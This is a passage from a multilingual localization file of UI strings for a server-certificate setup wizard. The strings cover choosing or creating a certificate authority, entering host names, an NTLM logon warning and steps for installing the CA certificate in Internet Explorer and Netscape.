<ru>Выберите из представленного ниже списка центр сертификации, который будет использоваться для подписания нового сертификата сервера, или выберите команду "создать новый центр сертификации", чтобы использовать заново созданный сертификат.</ru>
<ja>新しいサーバー証明書の署名で使用する証明期間 (CA: Certificate Authority) をリストから選択してください。新しく作成した証明期間を使用する場合は、[新しい CA の作成] を選択してください。</ja>
<zh>在以下列表中选择希望您的新服务器证书获得签发的证书颁发机构 (CA),或选择“创建新 CA”以使用新创建的证书颁发机构。</zh>
<ko>새 서버 인증서를 서명하려는 CA를 아래 목록에서 선택하거나 새로 만든 인증서를 사용하려면 "새 CA 만들기"를 선택합니다.</ko>
<en-gb>From the list below, choose the certificate authority (CA) that you want to sign your new server certificate with or choose "create new CA" to use a newly created one.</en-gb>
<hu>Válasszon egy Hitelesítésszolgáltatót (CA) az alábbi listából, amellyel
alá kívánja írni az új kiszolgálótanúsítványt, vagy válassza az "Új CA készítése" gombot, hogy 
az újonnan létrehozottat használja.</hu>
<pt-br>Selecione a autoridade de certificado (CA, certificate authority) que deseja atribuir
ao seu novo certificado de servidor na lista abaixo ou selecione "criar nova CA" para usar
uma criada recentemente.</pt-br>
<nl>Selecteer in de onderstaande lijst de certificeringsinstantie (CI) waarmee u uw nieuwe servercertificaat wilt ondertekenen of kies de optie "Nieuwe CI maken" als u een nieuwe certificeringsinstantie wilt maken en gebruiken.</nl>
</msg>
<msg name="CA.NEW">
<en>Create new CA</en>
<de>Neue Zertifizierungsstelle erstellen</de>
<es>Crear nuevo CA</es>
<fr>Définir une nouvelle Autorité de Certification</fr>
<it>Crea nuova autorità di certificazione</it>
<ru>Создать новый центр сертификации</ru>
<ja>新しい CA の作成</ja>
<zh>创建新 CA</zh>
<ko>새 CA 만들기</ko>
<en-gb>Create new CA</en-gb>
<hu>Új CA készítése</hu>
<pt-br>Criar nova CA</pt-br>
<nl>Nieuwe CI maken</nl>
</msg>
<msg name="CA.NEWPARAMS">
<en>When creating a new CA, you can specify its parameters below:</en>
<de>Wenn Sie eine neue Zertifizierungsstelle erstellen, können Sie die Parameter unten angeben.</de>
<es>Al crear un nuevo CA, puede especificar sus parámetros:</es>
<fr>En créant un nouveau CA, vous pouvez indiquer ses paramètres
ci-dessous :</fr>
<it>Quando si crea una nuova autorità di certificazione, è possibile specificarne i parametri seguenti:</it>
<ru>При создании нового центра сертификации можно указать его параметры, которые представлены ниже:</ru>
<ja>新しい CA を作成する場合、下にそのパラメータを指定できます :</ja>
<zh>创建新 CA 时,您可以指定其以下参数:</zh>
<ko>새 CA를 만들 때 아래 매개 변수를 지정할 수 있습니다.</ko>
<en-gb>When creating a new CA, you can specify its parameters below:</en-gb>
<hu>Ha új CA-t hoz létre, az alábbiakban megadhatja annak paramétereit:</hu>
<pt-br>Ao criar uma nova CA, você pode especificar seus parâmetros abaixo:</pt-br>
<nl>Wanneer u een nieuwe CI maakt, kunt u hiervoor de volgende parameters opgeven:</nl>
</msg>
<msg name="CA.USE">
<en>Use selected certificate</en>
<es>Usar certificado seleccionado</es>
<fr>Utiliser le certificat sélectionné</fr>
<de>Ausgewähltes Zertifikat verwenden</de>
<it>Usa il certificato selezionato</it>
<ru>Использовать выбранный сертификат</ru>
<ja>選択した証明書を使用する</ja>
<zh>使用选中的认证</zh>
<ko>선택한 인증서 사용</ko>
<en-gb>Use selected certificate</en-gb>
<hu>Kiválasztott tanúsítvány használata</hu>
<pt-br>Usar certificado selecionado</pt-br>
<nl>Geselecteerd certificaat gebruiken</nl>
</msg>
<msg name="SRV.NEWPARAMS">
<en>When creating the server certificate, it will contain the following host names. For the alternate host name fields,
enter aliases you would also like the certificate to contain, such as "localhost", "192.168.0.1", etc. Leave these
fields blank if you do not wish to specify alternate host names, or fill out as many as you wish.</en>
<de>Bei der Neuerstellung eines Serverzertifikats werden folgende Hostnamen integriert.
Im Feld für alternative Hostnamen geben Sie Aliasnamen ein, die ebenfalls im Zertifikat
enthalten sein sollen, wie zum Beispiel "localhost", "192.168.0.1", usw. Lassen Sie das
Feld leer, wenn Sie keine alternativen Hostnamen verwenden wollen.</de>
<es>Al crear el certificado del servidor, contendrá los siguientes nombres de host. Para los campos de nombre de host alternativo,
introduzca los alias que desea que también contenga el certificado, por ejemplo "localhost",""192.168.0.1",", etc. Introduzca estos
campos en blanco si no desea especificar nombres de host alternativos o introduzca tantos como quiera.</es>
<fr>Lorsque vous créez le certificat du serveur, il devra contenir les noms d'hôtes suivants. Pour les champs alternatifs de nom d'hôte,
entrez les noms d'alias que vous voudriez également que le certificat contienne, comme "localhost", "192.168.0.1", etc.
Laissez ces champs vides si vous ne souhaitez pas définir des noms d'hôtes alternatifs.</fr>
<it>Il certificato server che si sta creando conterrà i nomi host indicati di seguito. Per utilizzare campi di nome host alternativi, immettere gli alias che si desidera inserire nel certificato, come "localhost", "192.168.0.1" e così via. Lasciare vuoti i campi se non si desidera specificare nomi host alternativi oppure compilare il numero di campi desiderato.</it>
<ru>При создании сертификата сервера он будет содержать следующие хост-имена. В полях альтернативных хост-имен введите псевдонимы, которые должен сдержать сертификат, например "localhost", "192.168.0.1" и т.п. Оставьте эти поля пустыми, если не предполагается использовать альтернативные хост-имена, или заполните столько, сколько нужно.</ru>
<ja>サーバー証明書を作成する場合、次のホスト名を入れるようにします。代替ホスト名のフィールドには、「localhost」、「192.168.0.1」などの証明書に入れる別名を入力します。代替ホスト名の指定を希望しない場合は、このフィールドを空欄のままにします。そうでない場合は、いくつでも入力できます。</ja>
<zh>创建服务器证书时,证书将包含以下主机名。您还可以在备用主机名字段中,输入希望证书包含的别名,例如“localhost”、“192.168.0.1”等。如果不希望指定备用主机名,请将这些字段保留为空白,或者依需求任意输入。</zh>
<ko>서버 인증서를 만들 때 다음 호스트 이름을 사용합니다. 대체 호스트 이름 필드의 경우, 포함할 인증서에 별칭(예: "localhost", "192.168.0.1" 등)을 입력하십시오. 대체 호스트 이름을 지정하지 않거나 원하는 만큼 작성하려면 이 필드를 비워 두십시오.</ko>
<en-gb>When creating the server certificate, it will contain the following host names. For the alternative host name fields, enter aliases you would also like the certificate to contain, such as "localhost", "192.168.0.1", etc. Leave these fields blank if you do not wish to specify alternate host names or fill out as many as you wish.</en-gb>
<hu>Ha új kiszolgálótanúsítványt hoz létre, akkor az a következő gazdagépneveket fogja tartalmazni. Más gazdagépnév-mezőkhöz
írja be az aliasneveket, amelyeket bele szeretne foglalni a tanúsítványba, például "localhost", "192.168.0.1", stb. Hagyja üresen
ezeket a mezőket, ha nem kívánja megadni az alternatív gazdagép-neveket, vagy írjon be annyit, amennyit akar.</hu>
<pt-br>Na criação do certificado de servidor, ele conterá os nomes de host a seguir. Para os campos do nome de host alternativos,
digite os aliases que gostaria que o certificado contivesse, como "localhost", "192.168.0.1", etc. Deixe esses
campos em branco se não desejar especificar nomes de host alternativos, ou preencha quantos desejar.</pt-br>
<nl>Wanneer u het servercertificaat maakt, bevat dit de volgende hostnamen. In de velden voor de alternatieve hostnamen voert u de aliassen in die u ook in het certificaat wilt opnemen, zoals "localhost", "192.168.0.1", enz. Vul in deze velden niets in als u geen alternatieve hostnamen wilt gebruiken. U kunt zoveel hostnamen invoeren als u wenst.</nl>
</msg>
<msg name="CA.DONE">
<en>A new self-signed server certificate has been created and assigned to %PRODUCTNAME.</en>
<de>Ein neues selbstsigniertes Serverzertifikat wurde erstellt und %PRODUCTNAME zugewiesen.</de>
<es>Se ha creado un nuevo certificado de servidor autofirmado y se le ha asignado a %PRODUCTNAME.</es>
<fr>Un nouveau certificat auto-signé du serveur a été créé et assigné à %PRODUCTNAME.</fr>
<it>Un nuovo certificato server autofirmato è stato creato e assegnato a %PRODUCTNAME.</it>
<ru>Новый самоподписанный сертификат сервера был создан и назначен %PRODUCTNAME.</ru>
<ja>新しい自己署名サーバー証明書が作成され、%PRODUCTNAME に割り当てられました。</ja>
<zh>已创建新的自签名服务器证书,并已将其分配给 %PRODUCTNAME。</zh>
<ko>새 자체 서명 서버 인증서를 만든 다음 %PRODUCTNAME에 할당했습니다.</ko>
<en-gb>A new self-signed server certificate has been created and assigned to %PRODUCTNAME.</en-gb>
<hu>Egy új, saját aláírású kiszolgálótanúsítvány készült, és hozzárendelődött a %PRODUCTNAME termékhez.</hu>
<pt-br>Um novo servidor assinado automaticamente foi criado e atribuído a %PRODUCTNAME.</pt-br>
<nl>Een nieuw zelf-ondertekend servercertificaat is gemaakt en toegewezen aan %PRODUCTNAME.</nl>
</msg>
<msg name="SRV.LIST">
<en>Here's a list of Certificate Services found in your domain. Select the
one you wish to request your %PRODUCTNAME server certificate from.</en>
<de>Hier ist eine Liste von Zertifikatsdiensten, die in Ihrer Domäne gefunden wurden. Wählen Sie einen aus, vom dem Sie Ihr %PRODUCTNAME Serverzertifikat anfordern wollen.</de>
<es>A continuación se muestra una lista de Servicios de certificado encontrados en su dominio. Elija el
servicio al que quiera pedir su certificado de servidor %PRODUCTNAME.</es>
<fr>Voici une liste des Services de Certificat trouvés sur votre domaine. Sélectionnez
celui que vous souhaitez que le serveur de certificats de %PRODUCTNAME fasse sa demande.</fr>
<it>Viene riportato un elenco dei servizi certificati rilevati nel dominio. Selezionare quello al quale si desidera richiedere il certificato server di %PRODUCTNAME.</it>
<ru>Здесь представлен список служб сертификатов, обнаруженных в данном домене. Выберите одну из служб, чтобы запросить сертификат сервера для %PRODUCTNAME.</ru>
<ja>これは、ドメイン内で検出された認証サービスのリストです。どのサービスから %PRODUCTNAME サーバー証明書を要求するか、この中から 1 つ選択してください。</ja>
<zh>这是在您的域中找到的证书服务列表。请选择一个要用于请求 %PRODUCTNAME 服务器证书的证书服务。</zh>
<ko>여기에 도메인에서 찾은 인증서 서비스 목록이 있습니다. %PRODUCTNAME 서버 인증서를 요청할 서비스를 선택합니다.</ko>
<en-gb>Here is a list of Certificate Services found in your domain. Select the one you wish to request your %PRODUCTNAME server certificate from.</en-gb>
<hu>Itt található az Ön tartományában található Tanúsítványszolgáltatások listája. Válassza
azt, amelytől az Ön %PRODUCTNAME kiszolgálótanúsítványát kérni szeretné.</hu>
<pt-br>Esta é uma lista de Serviços de certificados encontrados no seu domínio. Selecione o
que deseja para solicitar o certificado do servidor do %PRODUCTNAME.</pt-br>
<nl>Hieronder is een lijst weergegeven met de Certificate Services die in uw domein zijn gevonden. Selecteer de Certificate Service waarbij u uw servercertificaat voor %PRODUCTNAME wilt aanvragen.</nl>
</msg>
<msg name="SRV.DONE">
<en>The Certificate Service you have chosen has issued a server certificate
for %PRODUCTNAME.</en>
<de>Der gewählte Zertifikatsdienst hat eine Severzertifikat für %PRODUCTNAME ausgestellt.</de>
<es>El Servicio de certificados que ha elegido ha enviado un certificado de servidor
para %PRODUCTNAME.</es>
<fr>Le Service de Certificat que vous avez choisi a délivré un certificat de serveur pour %PRODUCTNAME.</fr>
<it>Il servizio certificati scelto ha rilasciato un certificato server per %PRODUCTNAME.</it>
<ru>Выбранная служба сертификатов выпустила сертификат сервера для %PRODUCTNAME.</ru>
<ja>選択した認証サービスは、%PRODUCTNAME に対してサーバー証明書を発行しました。</ja>
<zh>选定的证书服务已颁发 %PRODUCTNAME 的服务器证书。</zh>
<ko>선택한 인증서 서비스는 %PRODUCTNAME용 서버 인증서를 발급했습니다.</ko>
<en-gb>The Certificate Service you have chosen has issued a server certificate
for %PRODUCTNAME.</en-gb>
<hu>Az Ön által választott Tanúsítványszolgáltatás egy kiszolgálótanúsítványt állított ki
a %PRODUCTNAME számára</hu>
<pt-br>O Serviço de certificados selecionado emitiu um certificado do servidor
para %PRODUCTNAME.</pt-br>
<nl>De Certificate Service die u hebt gekozen, heeft een servercertificaat verleend voor %PRODUCTNAME.</nl>
</msg>
<msg name="COUNTRY">
<en>Country</en>
<de>Land</de>
<es>País</es>
<fr>Pays</fr>
<it>Paese</it>
<ru>Страна</ru>
<ja>国</ja>
<zh>国家(地区)</zh>
<ko>국가</ko>
<en-gb>Country</en-gb>
<hu>Ország</hu>
<pt-br>País</pt-br>
<nl>Land</nl>
</msg>
<msg name="COMPANY">
<en>Organization</en>
<de>Organisation</de>
<es>Organización</es>
<fr>Organisation</fr>
<it>Organizzazione</it>
<ru>Организация</ru>
<ja>組織</ja>
<zh>组织</zh>
<ko>조직</ko>
<en-gb>Organisation</en-gb>
<hu>Szervezet</hu>
<pt-br>Organização</pt-br>
<nl>Organisatie</nl>
</msg>
<msg name="COMPUTER">
<en>Host Name</en>
<de>Hostname</de>
<es>Nombre del host</es>
<fr>Nom de l'ordinateur hôte</fr>
<it>Nome host</it>
<ru>Хост-имя</ru>
<ja>ホスト名</ja>
<zh>主机名</zh>
<ko>호스트 이름</ko>
<en-gb>Host Name</en-gb>
<hu>Gazdagépnév</hu>
<pt-br>Nome do host</pt-br>
<nl>Hostnaam</nl>
</msg>
<msg name="ALTHOST">
<en>Alternate Host Name</en>
<de>Alternativer Hostname</de>
<es>Nombre de host alternativo</es>
<fr>Nom alternatif de l'ordinateur hôte</fr>
<it>Nome host alternativo</it>
<ru>Альтернативное хост-имя</ru>
<ja>代替ホスト名</ja>
<zh>备用主机名</zh>
<ko>대체 호스트 이름</ko>
<en-gb>Alternative Host Name</en-gb>
<hu>Alternatív gazdagépnév</hu>
<pt-br>Nome de host alternativo</pt-br>
<nl>Alternatieve hostnaam</nl>
</msg>
<msg name="NAME">
<en>Your name</en>
<de>Ihr Name</de>
<es>Su nombre</es>
<fr>Nom</fr>
<it>Nome</it>
<ru>Имя пользователя</ru>
<ja>お名前</ja>
<zh>您的姓名</zh>
<ko>사용자 이름</ko>
<en-gb>Your name</en-gb>
<hu>Az Ön neve</hu>
<pt-br>Seu nome</pt-br>
<nl>Uw naam</nl>
</msg>
<msg name="NTLMNOTE">
<en>You are logged on using NTLM authentication, which may result in your
Certificate Service request being rejected. Log on with your username/password to
make sure that you have access to these services.</en>
<de>Anmerkung: Sie haben sich über NTML angemeldet. Dadurch wird möglicherweise
die Anfrage beim Zertifikatsdienst zurückgewiesen. Melden Sie sich mit Benutzernamen
und Kennwort an, damit der Zugriff auf den Dienst gewährt wird.</de>
<es>Ha iniciado sesión utilizando autenticación NTLM, lo que podría hacer que su
petición de Servicio de certificados sea rechazada. Inicie sesión con su nombre de usuario/contraseña para
para asegurarse de tener acceso a estos servicio.</es>
<fr>Vous vous êtes loggué en utilisant l'authentification NTLM, ce qui peut avoir comme conséquence
que votre demande au Service de Certificat soit rejetée. Ouvrez la session avec  votre nom utilisateur
et votre mot de passe pour vous assurer que vous ayez accès à ces services.</fr>
<it>L'accesso è stato eseguito utilizzando l'autenticazione NTLM; ciò può comportare il rifiuto della richiesta del servizio certificati. Accedere con il proprio nome utente e la propria password per essere certi di disporre dell'accesso a questi servizi.</it>
<ru>Вход в систему выполнен с помощью проверки подлинности NTLM, что может привести к отклонению запроса к службе сертификатов. Войдите в систему с использованием свого имени пользователя и пароля, чтобы гарантировать доступность этих служб.</ru>
<ja>NTLM 認証を使ってログインしているため、認証サービスのリクエストが拒否される場合があります。これらのサービスに確実にアクセスするには、ユーザ名とパスワードでログインしてください。</ja>
<zh>您已使用 NTLM 验证登录,这可能导致您的证书服务请求被拒绝。请使用您的用户名/密码登录,确保您可以访问这些服务。</zh>
<ko>NTLM 인증을 사용하여 로그온하고 있기 때문에 인증서 서비스 요청이 거부될 수 있습니다. 사용자 이름/암호로 로그온하여 이러한 서비스에 액세스합니다.</ko>
<en-gb>You are logged on using NTLM authentication, which may result in your Certificate Service request being rejected. Log on with your username/password to make sure that you have access to these services.</en-gb>
<hu>Ön NTLM hitelesítéssel jelentkezett be, és ennek eredményeként az Ön
Tanúsítványszolgáltatási kérelme visszautasításra került. Jelentkezzen be felhasználói nevével és jelszavával, hogy
ellenőrizze, hogy rendelkezik-e hozzáféréssel ezekhez a szolgáltatásokhoz.</hu>
<pt-br>Você está conectado usando autenticação NTLM, o que pode resultar na 
rejeição da solicitação do Serviço de certificados. Faça logon com seu nome de usuário/senha para
assegurar que tenha acesso a esses serviços.</pt-br>
<nl>U bent aangemeld met NTLM-verificatie, waardoor uw aanvraag bij de Certificate Service mogelijk wordt afgekeurd. Meld u aan met uw gebruikersnaam/wachtwoord zodat u toegang krijgt tot deze services.</nl>
</msg>
<msg name="InstallDer">
<en>Install The CA Certificate In Your Browser</en>
<de>Installieren Sie das CA Zertifikat in Ihrem Browser</de>
<es>Instale el Certificado CA en su navegador</es>
<fr>Installation du certificat CA sur votre navigateur</fr>
<it>Installa certificato dell'autorità nel browser</it>
<ru>Установите сертификат центра сертификации в своем обозревателе</ru>
<ja>ブラウザに CA 証明書をインストールする</ja>
<zh>在您的浏览器中安装 CA 证书</zh>
<ko>브라우저에 CA 인증서 설치</ko>
<en-gb>Install The CA Certificate In Your Browser</en-gb>
<hu>Telepítse a CA tanúsítványt a böngészőjében</hu>
<pt-br>Instale o certificado de CA no navegador</pt-br>
<nl>Het certificaat van de certificeringsinstantie in uw browser installeren</nl>
</msg>
<msg name="InstallDerPara1">
<en>Now you can install the Certificate Authority in your web browser if you have not already done so.
This step is not a requirement, but it is a good idea for two reasons:</en>
<de>Sie können jetzt das Zertifizierungsstelle-Zertifikat in Ihrem Webbrowser installieren.
Dieser Schritt ist nicht unbedingt erforderlich, jedoch aus zwei Gründen nützlich:</de>
<es>Si todavía no lo ha hecho, ahora puede instalar el Certificado de autenticidad en su navegador web.
Este paso no es obligatorio, pero es interesante por dos razones:</es>
<fr>Si vous ne l'avez pas encore fait, vous pouvez à présent  installer le certificat CA dans votre navigateur web.
Cette étape n'est pas une obligatoire, mais est fortement conseillée pour deux raisons :</fr>
<it>È ora possibile installare il certificato dell'autorità nel proprio browser Web se questa operazione non è già stata eseguita.
Questo passo non è necessario ma è consigliato per due motivi:</it>
<ru>Теперь в веб-обозревателе можно установить сертификат центра сертификации, если это еще не было сделано.
Это не является обязательным, но рекомендуется сделать по следующим двум причинам:</ru>
<ja>ここで、まだインストールしていない場合は、Web ブラウザに証明機関をインストールすることができます。このステップは必須ではありませんが、次の 2 つの理由から実行することをお勧めします。</ja>
<zh>现在可以在您的 Web 浏览器中安装证书颁发机构(如果尚未安装)。此步骤并非必需,但很有用,原因有二:</zh>
<ko>웹 브라우저에 CA를 아직 설치하지 않은 경우 지금 설치할 수 있습니다. 이 단계를 반드시 수행할 필요는 없지만, 다음의 두 가지 이유로 권장됩니다.</ko>
<en-gb>You can now install the Certificate Authority in your web browser if you have not already done so.
This step is not a requirement, but it is a good idea for two reasons:</en-gb>
<hu>Most telepítheti a Hitelesítésszolgáltatót a webböngészőben, ha eddig még nem tette ezt meg.
Ez a lépés nem követelmény, de hasznos lehet, két okból is:</hu>
<pt-br>Agora você pode instalar a Autoridade de certificado no seu navegador, caso ainda não o tenha feito.
Esta etapa não é uma exigência, mas uma boa idéia, por duas razões:</pt-br>
<nl>U kunt nu de certificeringsinstantie in uw webbrowser installeren als u dat nog niet hebt gedaan.     Deze stap is geen vereiste, maar wordt aanbevolen om de volgende twee redenen:</nl>
</msg>
<msg name="InstallDerPara2">
<en>Your browser will not prompt you about an unknown Certificate Authority every time you make a secure connection to %PRODUCTNAME.</en>
<de>Ihr Browser wird Sie nicht länger jedes Mal wegen einer unbekannten Zertifizierungsstelle anmahnen, wenn Sie eine sichere %PRODUCTNAME Sitzung eröffnen wollen.</de>
<es>Su navegador no le pedirá Certificados de autenticidad cada vez que se conecte de forma segura a %PRODUCTNAME.</es>
<fr>Votre navigateur ne vous demandera plus à chaque fois d'accepter un certificat inconnu lorsque que vous établissez une connexion sécurisée avec %PRODUCTNAME.</fr>
<it>Il browser non richiederà informazioni su un'autorità di certificazione sconosciuta ogni volta che viene eseguita la connessione protetta a %PRODUCTNAME.</it>
<ru>При каждом безопасном подключении к %PRODUCTNAME обозреватель не будет запрашивать о неизвестном центре сертификации.</ru>
<ja>%PRODUCTNAME に安全に接続するたびに、ブラウザで不明な証明機関についてのメッセージが表示されることがなくなります。</ja>
<zh>每次安全连接至 %PRODUCTNAME 时,浏览器不会提示您关于未知证书颁发机构的信息。</zh>
<ko>브라우저는 %PRODUCTNAME에 보안 연결을 설정할 때마다 알 수 없는 CA인지 묻지 않습니다.</ko>
<en-gb>Your browser will not prompt you about an unknown Certificate Authority every time you make a secure connection to %PRODUCTNAME.</en-gb>
<hu>A böngészője nem fogja értesíteni Önt egy ismeretlen Hitelesítésszolgáltatóról minden alkalommal, amikor egy biztonságos kapcsolatot hoz létre a %PRODUCTNAME termékkel.</hu>
<pt-br>Seu navegador não o avisará sobre uma Autoridade de certificado desconhecida sempre que você fizer uma conexão segura ao %PRODUCTNAME.</pt-br>
<nl>Wanneer u een beveiligde verbinding met %PRODUCTNAME maakt, verschijnt in uw browser niet telkens opnieuw een melding dat de certificeringsinstantie onbekend is.</nl>
</msg>
<msg name="InstallDerPara3">
<en>Knowing about the CA certificate, your browser can automatically identify the computer
you are connecting to. If you install the certificate and establish a secure connection,
no warning messages will mean that the connection is verified and you are in fact entering
your login credentials into a computer that you have chosen to trust.</en>
<de>Mit der Kenntnis über das CA Zertifikat kann Ihr Browser den Computer, zu dem Sie
verbinden wollen, automatisch identifizieren. Wenn Sie das Zertifikat installieren und
eine sichere Verbindung einrichten bedeutet das Ausbleiben von Warnmeldungen dass die
Verbindung überprüft ist und dass Sie Ihre Anmeldeinformationen an einen Computer
abgeben, dem Sie vorgehend bereits Ihr Vertrauen geschenkt haben.</de>
<es>Conociendo el certificado CA, su navegador puede identificar automáticamente el ordenador
al que se está conectando. Si instala el certificado y establece una conexión segura,
no aparecerá ningún mensaje indicándole que se ha verificado la conexión y que está introduciendo
sus credenciales de inicio de sesión en un ordenador en el que ha decidido confiar.</es>
<fr>Grâce au certificat de CA, votre navigateur peut automatiquement identifier l'ordinateur
sur lequel vous vous connectez. Si vous installez le certificat et établissez une connexion sécurisée,
plus aucun message d'avertissement ne s'affichera, et vous pourrez entrer directement les données
du login sur l'ordinateur sur lequel les autorisations ont été validés.</fr>
<it>Essendo noto il certificato, il browser può identificare automaticamente il computer con il quale si stabilisce la connessione. Se si installa il certificato e si stabilisce una connessione protetta, non verranno visualizzati messaggi di avviso: ciò indica che la connessione è stata verificata e che le credenziali di accesso vengono immesse in un computer che si è scelto di considerare attendibile.</it>
<ru>Со сведениями о данном сертификате центра сертификации обозреватель может автоматически идентифицировать компьютер, с которым устанавливается связь. Если установить данный сертификат и выполнить безопасное подключение, то никакое предупреждающее сообщение не будет означать проверку подключения, и пользователь фактически вводит учетные данные входа в компьютер, с которым уже установлены отношения доверия.</ru>
<ja>CA 証明書が既知となるため、ブラウザは接続先のコンピュータを自動的に認識できるようになります。証明書をインストールして安全な接続を確立すると、接続が確認され、信頼できるとして選択したコンピュータにログイン資格情報を入力することになる、という意味の警告メッセージは表示されなくなります。</ja>
<zh>了解 CA 证书后,浏览器可以自动识别您正在连接的计算机。安装证书并建立安全连接时,无警告消息意味着连接已通过验证,并且您实际上是在信任计算机上输入登录证书。</zh>
<ko>CA 인증서에 대해 알고 있는 경우 브라우저는 연결 중인 컴퓨터를 자동으로 식별할 수 있습니다. 인증서를 설치한 후 보안 연결을 설정한 경우 경고 메시지가 나타나지 않으면 연결이 확인되었으며 신뢰하도록 선택한 컴퓨터에 로그인 자격 증명을 입력하는 중임을 의미합니다.</ko>
<en-gb>Knowing about the CA certificate, your browser can automatically identify the computer you are connecting to. If you install the certificate and establish a secure connection, no warning messages will mean that the connection is verified and you are in fact entering your login credentials into a computer that you have chosen to trust.</en-gb>
<hu>Mivel ismeri a CA tanúsítványt, a böngésző automatikusan azonosítja azt a számítógépet
amelyhez Ön csatlakozik. Ha telepíti a tanúsítványt és biztonságos kapcsolatot hoz létre,
nem lesznek figyelmeztető üzenetek, ami azt jelenti, hogy gyakorlatilag a saját
hitelesítő adatait adja meg annak a számítógépnek, amelyet megbízhatónak minősített.</hu>
<pt-br>Ao saber do certificado de CA, o seu navegador pode identificar automaticamente o computador
com que está se conectando. Se você instalar o certificado e estabelecer uma conexão segura, 
a não existência de mensagens de aviso significará que a conexão foi verificada e você está realmente inserindo
suas credenciais de login no computador em que decidiu confiar.</pt-br>
<nl>Omdat het certificaat van de certificeringsinstantie bekend is, herkent uw browser automatisch de computer waarmee u een verbinding maakt. Als u het certificaat hebt geïnstalleerd en er geen waarschuwingsberichten op het scherm verschijnen wanneer u een beveiligde verbinding maakt, betekent dit dat de verbinding is geverifieerd en dat u uw aanmeldingsgegevens invoert op een computer waarvan u hebt aangegeven dat deze betrouwbaar is.</nl>
</msg>
<msg name="InstallDerPara4">
<en>Click the above button to download the CA certificate. In Internet Explorer, select
"Open this file from its current location" when prompted. Follow the wizard and accept
the default choices. You can view and manage your installed Certificate Authoritites
by selecting the View menu, Internet Options Dialog, Content Tab, Certificates Section,
Authorities button.</en>
<de>Klicken Sie oben auf die Schaltfläche, um das CA Zertifikat runterzuladen. Im
Internet Explorer wählen Sie "Datei öffnen" wenn Sie dazu aufgefordert werden. Folgen
Sie dem Assistenten und akzeptieren Sie die Standardvorgaben. Sie können Ihre
installierten Zertifikate über das Menü "Extras -- Internetoptionen -- Inhalte
-- Zertifikate" verwalten und einsehen.</de>
<es>Haga clic en el botón de arriba para descargar el certificado CA. En Internet Explorer, elija
"Abrir este archivo desde su ubicación actual" cuando se le pregunte. Siga el asistente y acepte
las elecciones preestablecidas. Puede ver y gestionar los Certificados de autenticidad instalados
eligiendo el menú Ver, Opciones de Internet, Contenidos, Sección de certificados
y pulsando el botón de autorizaciones.</es>
<fr>Cliquez le bouton ci-dessus pour télécharger le certificat de CA. Dans Internet Explorer, sélectionnez,
une fois demandé, "ouvrir ce fichier dans son emplacement actuel". Suivez les indications
et acceptez les propositions par défaut. Vous pouvez voir et contrôler votre certificat installé
en choisissant le menu du navigateur: Outils, Option Internet, onglet Contenu, section Certificats.</fr>
<it>Fare clic sul pulsante precedente per effettuare il download del certificato. In Internet Explorer selezionare "Apri il file dal percorso corrente" quando viene richiesto. Eseguire la procedura guidata e confermare le scelte predefinite. È possibile visualizzare e gestire i certificati installati selezionando il menu Strumenti, finestra di dialogo Opzioni Internet, scheda Contenuto, sezione Certificati, pulsante Autori.</it>
<ru>Щелкните расположенную выше кнопку, чтобы загрузить сертификат центра сертификации. В окне загрузки обозревателя Internet Explorer установите флажок "Отрыть этот файл из его текущего местоположения". Следуйте инструкциям мастера, принимая настройки по умолчанию. Для просмотра и управления установленными сертификатами центра сертификации следует выбрать меню "Вид", диалоговое окно "Свойства обозревателя", вкладку "Содержание", раздел "Сертификаты" и кнопку "Центры сертификации".</ru>
<ja>CA 証明書をダウンロードするには、上のボタンをクリックします。Internet Explorer を使用している場合は、メッセージが表示されたら、[このファイルを現在の場所から開く] を選択します。ウィザードに従って、既定の設定を選択します。インストール済み証明機関を表示して管理するには、[表示] メニュー、[インターネット オプション] ダイアログ、 [コンテンツ] タブ、[証明書] セクション、[証明書] ボタンの順に選択します。</ja>
<zh>单击上方按钮以下载 CA 证书。在 Internet Explorer 中,系统提示时,选择“从此文件的当前位置打开它”。按照向导进行操作,并接受默认选项。通过选择“查看”菜单、“Internet 选项”对话框、“内容”选项卡、“证书”部分和“颁发机构”按钮,您可以查看和管理已安装的证书颁发机构。</zh>
<ko>CA 인증서를 다운로드하려면 위의 버튼을 클릭하십시오. Internet Explorer에서 메시지가 나타나면 "현재 위치에서 이 파일 열기"를 선택합니다. 마법사를 실행한 후 기본값을 선택합니다. 보기 메뉴, 인터넷 옵션 대화 상자, 내용 탭, 인증서 섹션, 기관 버튼을 선택하여 설치된 CA를 보고 관리할 수 있습니다.</ko>
<en-gb>Click the above button to download the CA certificate. In Internet Explorer, select "Open this file from its current location" when prompted. Follow the wizard and accept the default choices. You can view and manage your installed Certificate Authoritites by selecting the View menu, Internet Options Dialogue, Content Tab, Certificates Section, Authorities button.</en-gb>
<hu>Kattintson a fenti gombra, hogy letöltse a CA tanúsítványt. Az Internet Explorerben válassza a
"Megnyitja a fájlt a jelenlegi helyről", amikor erre felszólítást kap. Kövesse a varázslót és fogadja el
az alapértelmezett lehetőségeket. A telepített Hitelesítésszolgáltatókat megtekintheti és kezelheti, ha
a Nézet menüből az Internetbeállítások párbeszédablakot választja, itt a Tartalom fület, és a Tanúsítványok részben a
Szolgáltatók gombot.</hu>
<pt-br>Clique no botão acima para baixar o certificado de CA. No Internet Explorer, selecione
"Abrir este arquivo de seu local atual", quando solicitado. Siga o assistente e aceite
as alternativas padrão. Você pode exibir e gerenciar suas Autoridades de certificado instaladas
Selecionando o menu Exibir, a caixa de diálogo Opções de Internet, a guia Conteúdo, Seção Certificados,
botão Autoridades.</pt-br>
<nl>Klik op de bovenstaande knop om het certificaat van de certificeringsinstantie te downloaden. Kies in Internet Explorer de optie "Dit bestand openen vanaf de huidige locatie" wanneer deze optie in het dialoogvenster op het scherm verschijnt. Volg de instructies van de wizard en gebruik de standaardinstellingen die worden voorgesteld. U kunt de door u geïnstalleerde certificeringsinstanties als volgt weergeven en beheren: kies in het menu Extra de optie Internetopties, klik in het dialoogvenster Internetopties op de bladtab Inhoud en klik in de sectie Certificaten op de knop Certificeringsinstanties.</nl>
</msg>
<msg name="InstallDerPara5">
<en>In Netscape, follow the wizard and check "Accept this Certificate Authority for
Certifying network sites" when prompted. You can view and manage your installed
Certificate Authoritites by selecting the Padlock Button, Certificates Menu,
Signers Sub-Menu. </en>
<de>Bei Netscape folgen Sie bitte den Empfehlungen des Assistenten und aktivieren
Sie "Accept this Certificate Authority for Certifying network sites" wenn Sie dazu
aufgefordert werden. Sie können Ihre installierten "Certificate Authorities" über
die Schaltflächen "Certificates Menu" und "Signers Sub-Menu" einsehen und verwalten.</de>
<es>En Netscape, siga el asistente y elija "Aceptar esta Certificación de autenticidad para
